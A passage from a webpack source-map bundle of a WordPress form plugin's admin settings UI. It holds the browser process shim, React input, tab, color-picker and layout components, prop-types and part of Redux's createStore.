(queue.length) {\n        drainQueue();\n    }\n}\n\nfunction drainQueue() {\n    if (draining) {\n        return;\n    }\n    var timeout = runTimeout(cleanUpNextTick);\n    draining = true;\n\n    var len = queue.length;\n    while(len) {\n        currentQueue = queue;\n        queue = [];\n        while (++queueIndex < len) {\n            if (currentQueue) {\n                currentQueue[queueIndex].run();\n            }\n        }\n        queueIndex = -1;\n        len = queue.length;\n    }\n    currentQueue = null;\n    draining = false;\n    runClearTimeout(timeout);\n}\n\nprocess.nextTick = function (fun) {\n    var args = new Array(arguments.length - 1);\n    if (arguments.length > 1) {\n        for (var i = 1; i < arguments.length; i++) {\n            args[i - 1] = arguments[i];\n        }\n    }\n    queue.push(new Item(fun, args));\n    if (queue.length === 1 && !draining) {\n        runTimeout(drainQueue);\n    }\n};\n\n// v8 likes predictible objects\nfunction Item(fun, array) {\n    this.fun = fun;\n    this.array = array;\n}\nItem.prototype.run = function () {\n    this.fun.apply(null, this.array);\n};\nprocess.title = 'browser';\nprocess.browser = true;\nprocess.env = {};\nprocess.argv = [];\nprocess.version = ''; // empty string to avoid regexp issues\nprocess.versions = {};\n\nfunction noop() {}\n\nprocess.on = noop;\nprocess.addListener = noop;\nprocess.once = noop;\nprocess.off = noop;\nprocess.removeListener = noop;\nprocess.removeAllListeners = noop;\nprocess.emit = noop;\nprocess.prependListener = noop;\nprocess.prependOnceListener = noop;\n\nprocess.listeners = function (name) { return [] }\n\nprocess.binding = function (name) {\n    throw new Error('process.binding is not supported');\n};\n\nprocess.cwd = function () { return '/' };\nprocess.chdir = function (dir) {\n    throw new Error('process.chdir is not supported');\n};\nprocess.umask = function() { return 0; };\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/process/browser.js\n// module id = 2\n// module chunks = 0 1 2 3 4 5","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class Input extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t}\n\n\tupdateValue( value ) {\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty( this.props.property, value );\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\tisValid( value ) {\n\t\tif ( this.props.isRequired ) {\n\t\t\treturn this.props.isRequired && ! _.isEmpty( value );\n\t\t} else if ( ! _.isUndefined( this.props.isPositive ) ) {\n\t\t\treturn _.isEmpty( value ) || value >= 0;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\trender() {\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? this.props.defaultValue\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tconst type = ! _.isUndefined( this.props.type ) ? this.props.type : 'text';\n\n\t\tconst requiredError = ! _.isUndefined( this.props.requiredError ) ? this.props.requiredError : translate( 'This field is required!' );\n\n\t\tconst hasErrorClass = ! this.isValid( value ) ? 'sui-form-field-error' : '';\n\n\t\tconst fieldClass = ! _.isUndefined( this.props.fieldClass )\n\t\t\t? 'sui-form-field ' + this.props.fieldClass\n\t\t\t: 'sui-form-field';\n\n\t\tlet inputClass = 'sui-form-control';\n\n\t\tif ( ! _.isUndefined( this.props.inputClass ) && '' !== this.props.inputClass ) {\n\t\t\tinputClass += ' ' + this.props.inputClass;\n\t\t}\n\n\t\tif ( ! _.isUndefined( this.props.prefix ) && '' !== this.props.prefix ) {\n\t\t\tinputClass += ' sui-field-has-prefix';\n\t\t}\n\n\t\tif ( ! _.isUndefined( this.props.suffix ) && '' !== this.props.suffix ) {\n\t\t\tinputClass += ' sui-field-has-suffix';\n\t\t}\n\n\t\tconst inputId = ! _.isUndefined( this.props.inputId )\n\t\t\t? this.props.inputId\n\t\t\t: this.props.property;\n\n\t\tlet inputLabel;\n\n\t\tif ( this.props.label ) {\n\t\t\tinputLabel = (\n\t\t\t\t<label\n\t\t\t\t\thtmlFor={ `forminator-field-${ inputId }` }\n\t\t\t\t\tclassName={ this.props.darkLabel\n\t\t\t\t\t\t? 'sui-settings-label sui-dark'\n\t\t\t\t\t\t: 'sui-label'\n\t\t\t\t\t}\n\t\t\t\t>\n\t\t\t\t\t{ this.props.label }\n\t\t\t\t\t{ this.props.isRequired &&\n\t\t\t\t\t\t<React.Fragment>\n\t\t\t\t\t\t\t&nbsp;<span className=\"sui-error\">*</span>\n\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.note &&\n\t\t\t\t\t\t<span className=\"sui-label-note\">{ this.props.note }</span>\n\t\t\t\t\t}\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\tconst inputField = (\n\t\t\t<input type={ type }\n\t\t\t\tplaceholder={ this.props.placeholder }\n\t\t\t\tvalue={ value || '' }\n\t\t\t\tid={ `forminator-field-${ inputId }` }\n\t\t\t\tclassName={ inputClass }\n\t\t\t\t{ ... this.props.notWritable && { readonly: '' } }\n\t\t\t\t{ ... this.props.minValue && { min: this.props.minValue } }\n\t\t\t\t{ ... this.props.maxValue && { max: this.props.maxValue } }\n\t\t\t\t{ ... this.props.step && { step: this.props.step } }\n\t\t\t\t{ ... this.props.maxLength && { maxLength: this.props.maxLength } }\n\t\t\t\t{ ... this.props.inputStyles && { style: this.props.inputStyles } }\n\t\t\t\tdisabled={ this.props.disabled ? true : false }\n\t\t\t\tonChange={ e => {\n\t\t\t\t\tthis.updateValue( e.target.value );\n\t\t\t\t} }\n\t\t\t/>\n\t\t);\n\n\t\tconst getFields = (\n\t\t\t<div className={ `${ fieldClass } ${ hasErrorClass }` }>\n\t\t\t\t{ inputLabel }\n\t\t\t\t{ ( ! _.isUndefined( this.props.prefix ) && '' !== this.props.prefix ) && (\n\t\t\t\t\t<span className=\"sui-field-prefix\">{ this.props.prefix }</span>\n\t\t\t\t) }\n\t\t\t\t{ ( ! this.props.canTrash\n\t\t\t\t\t? inputField\n\t\t\t\t\t: <div className=\"sui-with-button sui-with-button-icon\">\n\t\t\t\t\t\t{ inputField }\n\t\t\t\t\t\t<button className=\"sui-button-icon sui-tooltip sui-tooltip-top-right\"\n\t\t\t\t\t\t\tdata-tooltip={ translate( 'Delete' ) }>\n\t\t\t\t\t\t\t<i className=\"sui-icon-trash\" aria-hidden=\"true\" />\n\t\t\t\t\t\t</button>\n\t\t\t\t\t</div>\n\t\t\t\t) }\n\t\t\t\t{ this.props.suffix && (\n\t\t\t\t\t<span className=\"sui-field-suffix\">{ this.props.suffix }</span>\n\t\t\t\t) }\n\t\t\t\t{ this.props.isRequired && ! this.isValid( value ) && (\n\t\t\t\t\t<span className=\"sui-error-message\">{ requiredError }</span>\n\t\t\t\t) }\n\t\t\t\t{ ! _.isUndefined( this.props.isPositive ) && ! this.isValid( value ) && (\n\t\t\t\t\t<span className=\"sui-error-message\">{ translate( 'Please enter valid number.' ) }</span>\n\t\t\t\t) }\n\t\t\t\t{ this.props.description && (\n\t\t\t\t\t<span className=\"sui-description\">{ this.props.description }</span>\n\t\t\t\t) }\n\t\t\t</div>\n\t\t);\n\n\t\tif ( this.props.simple ) {\n\t\t\treturn inputField;\n\t\t}\n\n\t\treturn getFields;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/input.js","import React, { Component } from 'react';\n\nexport default class Container extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst children = React.Children.map( this.props.children, child => {\n\t\t\treturn child;\n\t\t} );\n\n\t\treturn (\n\t\t\t<div>\n\t\t\t\t{ children }\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/container.js","import React, { Component } from 'react';\n\nexport default class Col extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst children = React.Children.map( this.props.children, children => {\n\t\t\treturn children;\n\t\t} );\n\n\t\tconst customClass = this.props.customClass ? this.props.customClass : '';\n\n\t\treturn (\n\t\t\t<div className={ `sui-col-md-${ this.props.cols } ${ customClass }` }>\n\t\t\t\t{ children }\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/col.js","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class ColorPicker extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t}\n\n\tcomponentDidMount() {\n\t\tthis.$el = jQuery( this.el );\n\t\tthis.$el.wpColorPicker( {\n\t\t\tchange: function( event, ui ) {\n\t\t\t\tconst $this = jQuery( this );\n\t\t\t\t$this.val( ui.color.toCSS() ).trigger( 'change' );\n\t\t\t},\n\t\t\tpalettes: [\n\t\t\t\t'#333333',\n\t\t\t\t'#FFFFFF',\n\t\t\t\t'#17A8E3',\n\t\t\t\t'#E1F6FF',\n\t\t\t\t'#666666',\n\t\t\t\t'#AAAAAA',\n\t\t\t\t'#E6E6E6',\n\t\t\t],\n\t\t} );\n\n\t\tconst $suiPickerInput = this.$el,\n\t\t\t$suiPicker = $suiPickerInput.closest( '.sui-colorpicker-wrap' ),\n\t\t\t$suiPickerColor = $suiPicker.find( '.sui-colorpicker-value span[role=button]' ),\n\t\t\t$suiPickerValue = $suiPicker.find( '.sui-colorpicker-value' ),\n\t\t\t$suiPickerClear = $suiPickerValue.find( 'button' )\n\t\t;\n\n\t\tconst $wpPicker = $suiPickerInput.closest( '.wp-picker-container' ),\n\t\t\t$wpPickerButton = $wpPicker.find( '.wp-color-result' ),\n\t\t\t$wpPickerAlpha = $wpPickerButton.find( '.color-alpha' ),\n\t\t\t$wpPickerClear = $wpPicker.find( '.wp-picker-clear' )\n\t\t;\n\n\t\tlet $pickerBackground = $wpPickerAlpha;\n\n\t\t// Check if alpha exists\n\t\tif ( $suiPickerInput.data( 'alpha' ) === true ) {\n\t\t\t$pickerBackground = $wpPickerAlpha;\n\t\t} else {\n\t\t\t$pickerBackground = $wpPickerButton;\n\t\t}\n\n\t\t// Listen to color change\n\t\t$suiPickerInput.bind( 'change', function() {\n\t\t\t// Change color preview\n\t\t\t$suiPickerColor.find( 'span' ).css( {\n\t\t\t\t'background-color': $pickerBackground.css( 'background-color' ),\n\t\t\t} );\n\n\t\t\t// Change color value\n\t\t\t$suiPickerValue.find( 'input' ).val( $suiPickerInput.val() );\n\t\t} );\n\n\t\t// Open iris picker\n\t\t$suiPicker.find( '.sui-button, span[role=button]' ).on( 'click', function( e ) {\n\t\t\te.preventDefault();\n\t\t\te.stopPropagation();\n\t\t\t$wpPickerButton.click();\n\t\t} );\n\n\t\t// Clear color value\n\t\t$suiPickerClear.on( 'click', function( e ) {\n\t\t\te.preventDefault();\n\t\t\te.stopPropagation();\n\n\t\t\t$wpPickerClear.click();\n\t\t\t$suiPickerValue.find( 'input' ).val( '' );\n\t\t\t$suiPickerColor.find( 'span' ).css( {\n\t\t\t\t'background-color': '',\n\t\t\t} );\n\t\t} );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t\tthis.$el.on( 'change', this.updateValue );\n\t}\n\n\tupdateValue( e ) {\n\t\tconst value = e.target.value;\n\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty(\n\t\t\t\tthis.props.property,\n\t\t\t\tvalue\n\t\t\t);\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\tcomponentWillUnmount() {\n\t\tthis.$el.off( 'change', this.updateValue );\n\t\tthis.$el.unbind().removeData();\n\t}\n\n\trender() {\n\t\tconst value = ( _.isUndefined( this.props.settings[ this.props.property ] ) || this.props.settings[ this.props.property ] === null )\n\t\t\t? this.props.defaultValue\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tlet fieldLabel = '';\n\n\t\tif ( this.props.label ) {\n\t\t\tfieldLabel = (\n\t\t\t\t<label className=\"sui-label\"\n\t\t\t\t\thtmlFor={ `forminator-color-${ this.props.property }` }>\n\t\t\t\t\t{ this.props.label }\n\t\t\t\t\t{ this.props.note &&\n\t\t\t\t\t\t<span className=\"sui-label-note\"> { this.props.note }</span>\n\t\t\t\t\t}\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\treturn (\n\t\t\t<div className=\"sui-form-field\">\n\t\t\t\t{ fieldLabel }\n\t\t\t\t<div className=\"sui-colorpicker-wrap\">\n\t\t\t\t\t<div\n\t\t\t\t\t\tclassName={ `sui-colorpicker sui-colorpicker-${ this.props.isAlpha\n\t\t\t\t\t\t\t? 'rgba'\n\t\t\t\t\t\t\t: 'hex'\n\t\t\t\t\t\t}` }\n\t\t\t\t\t\taria-hidden=\"true\">\n\t\t\t\t\t\t<div className=\"sui-colorpicker-value\">\n\t\t\t\t\t\t\t<span role=\"button\">\n\t\t\t\t\t\t\t\t<span style={ { backgroundColor: value } }></span>\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t<input type=\"text\" defaultValue={ value }\n\t\t\t\t\t\t\t\treadOnly=\"readonly\" />\n\t\t\t\t\t\t\t<button>\n\t\t\t\t\t\t\t\t<i className=\"sui-icon-close\" aria-hidden=\"true\"></i>\n\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<button className=\"sui-button\">{ translate( 'Select' ) }</button>\n\t\t\t\t\t</div>\n\t\t\t\t\t<input ref={ el => ( this.el = el ) }\n\t\t\t\t\t\tdefaultValue={ value }\n\t\t\t\t\t\tid={ `forminator-color-${ this.props.property }` }\n\t\t\t\t\t\tclassName=\"sui-colorpicker-input\"\n\t\t\t\t\t\tdata-alpha={ this.props.isAlpha ? 'true' : 'false' }\n\t\t\t\t\t/>\n\t\t\t\t</div>\n\t\t\t\t{ ( this.props.description && '' !== this.props.description ) && (\n\t\t\t\t\t<span className=\"sui-description\">{ this.props.description }</span>\n\t\t\t\t) }\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/color-picker.js","import React, { Component } from 'react';\n\nexport default class RadioTabs extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\ttoggleValue( value ) {\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty(\n\t\t\t\tthis.props.property,\n\t\t\t\tvalue\n\t\t\t);\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\tgetDefaultValue() {\n\t\tconst defaultValue = this.props.default ? this.props.default : '';\n\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? defaultValue\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\treturn value;\n\t}\n\n\trender() {\n\t\tconst value = this.getDefaultValue();\n\n\t\tconst tabTitles = React.Children.map( this.props.children, tab => {\n\t\t\tif ( ! tab ) {\n\t\t\t\treturn (\n\t\t\t\t\t<React.Fragment />\n\t\t\t\t)\n\t\t\t}\n\n\t\t\tconst label = ! _.isUndefined( tab.props.label )\n\t\t\t\t? tab.props.label\n\t\t\t\t: tab.props.children;\n\n\t\t\tif ( this.props.disabled ) {\n\t\t\t\treturn (\n\t\t\t\t\t<div className={ 'sui-tab-item' + ( tab.props.value === value ? ' active' : '' ) }\n\t\t\t\t\t\tstyle={ {\n\t\t\t\t\t\t\topacity: 0.5,\n\t\t\t\t\t\t\tcursor: 'not-allowed',\n\t\t\t\t\t\t} }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ label }\n\t\t\t\t\t</div>\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tif ( ! this.props.disabled ) {\n\t\t\t\treturn (\n\t\t\t\t\t<div className={ 'sui-tab-item' + ( tab.props.value === value ? ' active' : '' ) }\n\t\t\t\t\t\tonClick={ this.toggleValue.bind( this, tab.props.value ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ label }\n\t\t\t\t\t</div>\n\t\t\t\t);\n\t\t\t}\n\t\t} );\n\n\t\tconst contentClass = ! _.isUndefined( this.props.divClass )\n\t\t\t? 'sui-tabs-content ' + this.props.divClass\n\t\t\t: 'sui-tabs-content';\n\n\t\tconst tabContents = React.Children.map( this.props.children, tab => {\n\t\t\tif ( ! tab ) {\n\t\t\t\treturn (\n\t\t\t\t\t<React.Fragment />\n\t\t\t\t)\n\t\t\t}\n\n\t\t\tconst boxClass = ! _.isUndefined( tab.props.boxClass )\n\t\t\t\t? tab.props.boxClass\n\t\t\t\t: '';\n\n\t\t\tif ( tab.type.name !== 'Empty' ) {\n\t\t\t\treturn (\n\t\t\t\t\t<div className={\n\t\t\t\t\t\tboxClass + ' sui-tab-content' + ( tab.props.value === value ? ' active' : '' )\n\t\t\t\t\t}>\n\t\t\t\t\t\t{ tab.props.value === value && tab }\n\t\t\t\t\t</div>\n\t\t\t\t);\n\t\t\t}\n\n\t\t\treturn (\n\t\t\t\t<React.Fragment />\n\t\t\t);\n\t\t} );\n\n\t\tlet tabsLabel = '';\n\n\t\tif ( this.props.label && '' !== this.props.label ) {\n\t\t\ttabsLabel = (\n\t\t\t\t<label htmlFor={ `forminator-field-${ this.props.property }` }\n\t\t\t\t\tclassName=\"sui-label\">\n\t\t\t\t\t{ this.props.label }\n\t\t\t\t\t{ this.props.note &&\n\t\t\t\t\t\t<span className=\"sui-label-note\"> { this.props.note }</span>\n\t\t\t\t\t}\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\tlet settingsLabel = '';\n\n\t\tif ( this.props.settingsLabel && '' !== this.props.settingsLabel ) {\n\t\t\tconst labelClass = this.props.labelClass ? this.props.labelClass : 'sui-settings-label';\n\t\t\tsettingsLabel = (\n\t\t\t\t<label className={ labelClass }>\n\t\t\t\t\t{ this.props.settingsLabel }\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\tlet description = '';\n\n\t\tif ( this.props.description && '' !== this.props.description ) {\n\t\t\tdescription = (\n\t\t\t\t<span\n\t\t\t\t\tclassName=\"sui-description\"\n\t\t\t\t\tstyle={ { marginBottom: 10 } }\n\t\t\t\t>\n\t\t\t\t\t{ this.props.description }\n\t\t\t\t</span>\n\t\t\t);\n\t\t}\n\n\t\tlet wrapperClass = ! _.isUndefined( this.props.wrapperClass )\n\t\t\t? this.props.wrapperClass\n\t\t\t: '';\n\n\t\twrapperClass = this.props.basicTabs\n\t\t\t? `sui-tabs sui-tabs-overflow ${ wrapperClass }`\n\t\t\t: `sui-side-tabs ${ wrapperClass }`;\n\n\t\tlet tabsMarkup = (\n\t\t\t<div className={ wrapperClass }>\n\n\t\t\t\t<div className=\"sui-tabs-menu\">\n\t\t\t\t\t{ tabTitles }\n\t\t\t\t</div>\n\n\t\t\t\t<div className={ contentClass }>\n\t\t\t\t\t{ tabContents }\n\t\t\t\t</div>\n\n\t\t\t</div>\n\t\t);\n\n\t\tif ( ! this.props.simple ) {\n\t\t\ttabsMarkup = (\n\t\t\t\t<div className=\"sui-form-field\">\n\n\t\t\t\t\t{ settingsLabel }\n\n\t\t\t\t\t{ tabsLabel }\n\n\t\t\t\t\t{ description }\n\n\t\t\t\t\t<div className={ wrapperClass }>\n\n\t\t\t\t\t\t<div className=\"sui-tabs-menu\">\n\t\t\t\t\t\t\t{ tabTitles }\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t<div className={ contentClass }>\n\t\t\t\t\t\t\t{ tabContents }\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t</div>\n\n\t\t\t\t</div>\n\t\t\t);\n\t\t}\n\n\t\treturn tabsMarkup;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/radio-tabs.js","import React, { Component } from 'react';\n\nexport default class Row extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst columns = React.Children.map(\n\t\t\tthis.props.children,\n\t\t\tchildren => {\n\t\t\t\treturn children;\n\t\t\t}\n\t\t);\n\n\t\treturn (\n\t\t\t<div className={ 'sui-row' + ( ! _.isUndefined( this.props.class )\n\t\t\t\t? ' ' + this.props.class\n\t\t\t\t: ''\n\t\t\t) }>\n\t\t\t\t{ columns }\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/row.js","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nif (process.env.NODE_ENV !== 'production') {\n  var REACT_ELEMENT_TYPE = (typeof Symbol === 'function' &&\n    Symbol.for &&\n    Symbol.for('react.element')) ||\n    0xeac7;\n\n  var isValidElement = function(object) {\n    return typeof object === 'object' &&\n      object !== null &&\n      object.$$typeof === REACT_ELEMENT_TYPE;\n  };\n\n  // By explicitly using `prop-types` you are opting into new development behavior.\n  // http://fb.me/prop-types-in-prod\n  var throwOnDirectAccess = true;\n  module.exports = require('./factoryWithTypeCheckers')(isValidElement, throwOnDirectAccess);\n} else {\n  // By explicitly using `prop-types` you are opting into new production behavior.\n  // http://fb.me/prop-types-in-prod\n  module.exports = require('./factoryWithThrowingShims')();\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/prop-types/index.js\n// module id = 9\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\n\nexport default class Tabs extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.state = {\n\t\t\tactive: this.props.default ? this.props.default : '',\n\t\t};\n\t}\n\n\ttoggleValue( value ) {\n\t\tthis.setState( {\n\t\t\tactive: value,\n\t\t} );\n\t}\n\n\trender() {\n\t\tconst defaultValue = this.props.default ? this.props.default : '';\n\n\t\tconst type = this.props.type ? this.props.type : 'side-tabs';\n\n\t\tconst extraClass = this.props.extraClass ? this.props.extraClass : '';\n\n\t\tconst tabTitles = React.Children.map( this.props.children, tab => {\n\t\t\tif ( _.isUndefined( tab ) || _.isNull( tab ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\treturn (\n\t\t\t\t<div\n\t\t\t\t\tclassName={ 'forminator-toggle sui-tab-item' + (\n\t\t\t\t\t\ttab.props.value === this.state.active ? ' active' : ''\n\t\t\t\t\t) }\n\t\t\t\t\tonClick={ this.toggleValue.bind( this, tab.props.value ) }\n\t\t\t\t>\n\t\t\t\t\t{ tab.props.label } { tab.props.required &&\n\t\t\t\t\t\t<span className=\"sui-error\">*</span>\n\t\t\t\t\t}\n\t\t\t\t</div>\n\t\t\t);\n\t\t} );\n\n\t\tconst tabContents = React.Children.map( this.props.children, tab => {\n\t\t\tif ( _.isUndefined( tab ) || _.isNull( tab ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tconst boxClassValue = ! _.isUndefined( tab.props.boxClass ) ?\n\t\t\t\ttab.props.boxClass : 'sui-tab-content';\n\n\t\t\treturn (\n\t\t\t\t<div className={ boxClassValue + ( tab.props.value === this.state.active ? ' active' : '' ) }>\n\t\t\t\t\t{ tab.props.value === this.state.active && tab }\n\t\t\t\t</div>\n\t\t\t);\n\t\t} );\n\n\t\treturn (\n\t\t\t<div className={ `sui-${ type } ${ extraClass }` }>\n\t\t\t\t<div className=\"sui-tabs-menu\">\n\t\t\t\t\t{ tabTitles }\n\t\t\t\t</div>\n\n\t\t\t\t<div className=\"sui-tabs-content\">\n\t\t\t\t\t{ tabContents }\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/tabs.js","import $$observable from 'symbol-observable';\n\n/**\n * These are private action types reserved by Redux.\n * For any unknown actions, you must return the current state.\n * If the current state is undefined, you must return the initial state.\n * Do not reference these action types directly in your code.\n */\nvar ActionTypes = {\n  INIT: '@@redux/INIT' + Math.random().toString(36).substring(7).split('').join('.'),\n  REPLACE: '@@redux/REPLACE' + Math.random().toString(36).substring(7).split('').join('.')\n};\n\nvar _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) {\n  return typeof obj;\n} : function (obj) {\n  return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj;\n};\n\nvar _extends = Object.assign || function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i];\n\n    for (var key in source) {\n      if (Object.prototype.hasOwnProperty.call(source, key)) {\n        target[key] = source[key];\n      }\n    }\n  }\n\n  return target;\n};\n\n/**\n * @param {any} obj The object to inspect.\n * @returns {boolean} True if the argument appears to be a plain object.\n */\nfunction isPlainObject(obj) {\n  if ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) !== 'object' || obj === null) return false;\n\n  var proto = obj;\n  while (Object.getPrototypeOf(proto) !== null) {\n    proto = Object.getPrototypeOf(proto);\n  }\n\n  return Object.getPrototypeOf(obj) === proto;\n}\n\n/**\n * Creates a Redux store that holds the state tree.\n * The only way to change the data in the store is to call `dispatch()` on it.\n *\n * There should only be a single store in your app. To specify how different\n * parts of the state tree respond to actions, you may combine several reducers\n * into a single reducer function by using `combineReducers`.\n *\n * @param {Function} reducer A function that returns the next state tree, given\n * the current state tree and the action to handle.\n *\n * @param {any} [preloadedState] The initial state. You may optionally specify it\n * to hydrate the state from the server in universal apps, or to restore a\n * previously serialized user session.\n * If you use `combineReducers` to produce the root reducer function, this must be\n * an object with the same shape as `combineReducers` keys.\n *\n * @param {Function} [enhancer] The store enhancer. You may optionally specify it\n * to enhance the store with third-party capabilities such as middleware,\n * time travel, persistence, etc. The only store enhancer that ships with Redux\n * is `applyMiddleware()`.\n *\n * @returns {Store} A Redux store that lets you read the state, dispatch actions\n * and subscribe to changes.\n */\nfunction createStore(reducer, preloadedState, enhancer) {\n  var _ref2;\n\n  if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {\n    enhancer = preloadedState;\n    preloadedState = undefined;\n  }\n\n  if (typeof enhancer !== 'undefined') {\n    if (typeof enhancer !== 'function') {\n      throw new Error('Expected the enhancer to be a function.');\n    }\n\n    return enhancer(createStore)(reducer, preloadedState);\n  }\n\n  if (typeof reducer !== 'function') {\n    throw new Error('Expected the reducer to be a function.');\n  }\n\n  var currentReducer = reducer;\n  var currentState = preloadedState;\n  var currentListeners = [];\n  var nextListeners = currentListeners;\n  var isDispatching = false;\n\n  function ensureCanMutateNextListeners() {\n    if (nextListeners === currentListeners) {\n      nextListeners = currentListeners.slice();\n    }\n  }\n\n  /**\n   * Reads the state tree managed by the store.\n   *\n   * @returns {any} The current state tree of your application.\n   */\n  function getState() {\n    if (isDispatching) {\n      throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.');\n    }\n\n    return currentState;\n  }\n\n  /**\n   * Adds a change listener. It will be called any time an action is dispatched,\n   * and some part of the state tree may potentially have changed. You may then\n   * call `getState()` to read the current state tree inside the callback.\n   *\n   * You may call `dispatch()` from a change listener, with the following\n   * caveats:\n   *\n   * 1. The subscriptions are snapshotted just before every `dispatch()` call.\n   * If you subscribe or unsubscribe while the listeners are being invoked, this\n   * will not have any effect on the `dispatch()` that is currently in progress.\n   * However, the next `dispatch()` call, whether nested or not, will use a more\n   * recent snapshot of the subscription list.\n   *\n   * 2. The listener should not expect to see all state changes, as the state\n   * might have been updated multiple times during a nested `dispatch()` before\n   * the listener is called. It is, however, guaranteed that all subscribers\n   * registered before the `dispatch()` started will be called with the latest\n   * state by the time it exits.\n   *\n   * @param {Function} listener A callback to be invoked on every dispatch.\n   * @returns {Function} A function to remove this change listener.\n   */\n  function subscribe(listener) {\n    if (typeof listener !== 'function') {\n      throw new Error('Expected the listener to be a function.');\n    }\n\n    if (isDispatching) {\n      throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api-reference/store#subscribe(listener) for more details.');\n    }\n\n    var isSubscribed = true;\n\n    ensureCanMutateNextListeners();\n    nextListeners.push(listener);\n\n    return function unsubscribe() {\n      if (!isSubscribed) {\n        return;\n      }\n\n      if (isDispatching) {\n        throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api-reference/store#subscribe(listener) for more details.');\n      }\n\n      isSubscribed = false;\n\n      ensureCanMutateNextListeners();\n      var index = nextListeners.indexOf(listener);\n      nextListeners.splice(index, 1);\n    };\n  }\n\n  /**\n   * Dispatches an action. It is the only way to trigger a state change.\n   *\n   * The `reducer` function, used to create the store, will be called with the\n   * current state tree and the given `action`. Its return value will\n   * be considered the **next** state of the tree, and the change listeners\n   * will be notified.\n   *\n   * The base implementation only supports plain object actions. If you want to\n   * dispatch a Promise, an Observable, a thunk, or something else, you need to\n   * wrap your store creating function into the corresponding middleware. For\n   * example, see the documentation for the `redux-thunk` package. Even the\n   * middleware will eventually dispatch plain object actions using this method.\n   *\n   * @param {Object} action A plain object representing “what changed”. It is\n   * a good idea to keep actions serializable so you can record and replay user\n   * sessions, or use the time travelling `redux-devtools`. An action must have\n   * a `type` property which may not be `undefined`. It is a good idea to use\n   * string constants for action types.\n   *\n   * @returns {Object} For convenience, the same action object you dispatched.\n   *\n   * Note that, if you use a custom middleware, it may wrap `dispatch()` to\n   * return something else (for example, a Promise you can await).\n   */\n  